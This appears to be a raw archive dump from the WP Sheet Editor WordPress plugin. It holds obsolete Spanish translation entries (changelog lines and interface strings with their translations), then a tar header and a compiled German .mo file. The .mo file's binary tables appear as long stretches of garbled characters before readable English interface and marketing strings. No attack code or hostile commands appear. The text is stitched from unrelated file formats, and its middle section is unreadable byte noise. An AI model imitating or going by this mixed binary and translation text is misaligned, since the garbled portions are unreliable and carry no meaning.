                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/lang/vg_sheet_editor-de_DE_formal.mo000064400000531541147600365160020203 0ustar00Y"E\>\S(]|]PR^r^_._E_c_|__M_G_.&`U`Mh```aBbccccYddKe:e',fpTffDMghijUkkL lYlBm`mwpn2np/qJCrr^ss0tXukjuvrxmyJdzMzz{p|}~Mlk؀`@EɃ{x{m(؇]/K{u"$̉H:X ċ0ߋ'7 IWgy}^Uq/4(d,ҎV:׏A=T/=5%6\w :- <aF,Ւ&;J] rg}G4O ^h}ƕ ڕ  "/=@~ 9ڗR\Q Dݟա_a U `jsȤѤ ؤ"` j{H̥ ݥ * 3$?d 3J.&D kya / P.Y R.)7Ha©-ة&n-({ŪA1Q!1 ׫* 16C z"Ȭݬ  ?KP`,e ʭݭw{lƯ ͯد 8 00;0l-R˰  ) 5A(]" Ʊ#2 +>&j-3ݲ%A"J*m.Ǵ ڴ!7 &Ahx ǵݵ    ,6 - NX i ɷw޷"Vy~!#)ȹ(F T2d  λ ܻ:1%W2`  ¼ͼ 5L^m(?Z\+j_QO_ 3Aq9.L'{(.g(q[CDV,>0WD01?.nG :,4I+~d ! )C5y 6  ,(Udsy ; ,CYX  }yW e@X & &AIZkG~F  + 9G\cWhf7 Vb(h++&&&7:^'%@8E~?`9EnDbuZax :DbXq-< 0$G#lw{XD*_o'6.A Q \h  x:?z 2 $ 0 = KY ^i }* :8Pj@o Z=7  ; #\  r  #3L(aq  ,* Wavt+|'5,~e^%!  #.5IRo<ub(>Ce+sr ##+ O Zd    -A*T    #1uD,,.&.U$ @N$V{s<or 3@GR%" vv *.@P c p }       %;!Oqv +/5'(En &"A W%b#dIh@( 0 :"Dg<z: 3 ERas"($  ; G [ ` r  & p ^C        2 D V s      1 "  7R48=v|8*{QY$\SGEWB9|9e/b,2!_V,/z.zL>xie$'* R%s8DH ! 6 - A!^V!g!W"Wu"D"B#TU#+#3#= %}H%%''j)@))H{*L*/+A+e,A8-Kz-A-.+.. ...h//00K1 j1v11q2z222 22'22m3}3 333333 3*3'4"=49`4944t4Pf555 555 6.(6W6`68f66)666 677 7%7 57B7S7e7u7~7 7 7777777 8"8>8JM8*8l8e09U9i9QV:-::;=h>>O?@A=BLBB?C> E7HE>E4EEFoGGGG3G#G#H)H5EH{H5H:H# I20I4cIIInJrKKa,LLRM3(O\PP`vRSTIU'LV%tVVfVW W"W1W"QWtWW!WWWWXX7Z(IZrZ7ZZZZNZz[[4\R\)q\8\A\9]P]Oj]F]X^4Z^3^8^.^1+_:]_3_B_Y`ui`]`=a5]aRaa$bb:8cgsdedIAee#f )f6f9f'HE_Y  +8"I-l(7713,e59V&u *#'2(A<j3  "/DZw    J*" MY p !.   G4,5a21# \8< 7RHk7C AK R]z#KA_v;-!iq = EQ~}&7O^6-,#P61-_zYYG8?0xp2EF_FQ?]\ 9!A@2e & -8^I*  Xm :  (BX a kLv -?Rm]&Vf w3 #+DTXg[3 ; E O]v|`% )#5G5O)+02 3?Ks")2 I?BYBoEMx |   ` l        `  L0 HTe-}'{hd4Ny2b?  *5 HR!LG e p| %L 9 F T bp u2-6;N&V"+ HVg%m.8M \5R Xej1( x   33 48Gzdo 0"#8"\$a$=d$$;i%r%&c0&&&&& &&'$'='R' Y' d'r''$''L'~(:((O))"*'*<*++R, d, p,|, , , ,,#, ,-- *- 4-A- _- i-t-x-1--0- .!. 0.Q.b. u......./3/4/506;0r0(00A1S11\11)2H22u3 33V3<4C4/_4#444n5636D6H6Z6k6 6 66666 6 6 67 77 "7.7C7W7m7-7 777=7>(8Yg8"898949S9=c9#9 9999( :2:L:(]::#:+::;s;V;Z;;D<< < <0<<L=;O=== === = >>">?>1]>">>C>2?D? S?t?y??/??|BxCCCCCCCD(D>D'TD|DDDDD D.D.E7E֩GP]DcsW˫ra)ԬGdF5a?vİq;_ ̲ Ѳܲ$V '7O%T0;;3>(U~,8@6IFS9|r+U;"zaI@27#8wFz v8050$u93Oz %R*p4&(hXr!1H)2t Yfx #1?4Nd:%2p#lYh Z1lFL}K5LT \ko.]`TN[Wc*rPNIC`n5&teUjT!t g LJ[i`pB8sEkI1hcMD aKCe+<]) */J-4?j!a>m>MG? })<.tM./B'O, 4%oPV|#/hq :RY+jJ P$ ImA(HH.>Di"g7 2?q/]y+'-XfoWD}Ys:@n!f|n)+$6DN^T& 4Bs=dMC6EVk1 wG:5@ydH'XQwC~^\{# W,*Wxpfl <VU_=rESx;7<L_Z(HGg>!O32{ K"\uX&EcKAJ`=u ~Ua=]b Su$eRQLF"9 {:36%S* bbQY7}A Q,[lAv?{Mm8gb9\O<y(ZZB.=@sv~;GRF)Evmo|x0Q_yeVAV"iNiK^ kD X'$9n-B&_q3--PqcR^W6P,/CzSwjG0J5[d  (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor-universal-sheet/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%d of %d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically--. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...0 rows1. Open Google Sheets.
                  2. Click on "wp sheet editor" in the menu
                  3. Enter this link in the "quick access" option in the Google Sheet sidebar.1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreView the entire changelogEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereAccept post from this post typeActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add newAdd new columnAdd new post typeAdd new postsAdd this code at the beginning of the .htaccess file in the root directory of your website. It is required for authenticating requests between Google Sheets and WordPressAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAllAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the variable productsAllowAllow backordersAllow multiple files per field?Allow multiple posts per field?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlternative textAnd more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsApply to:Are you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChanges savedChanges saved successfullyCheckboxClear valueClick here to show all columns againClicks avoided
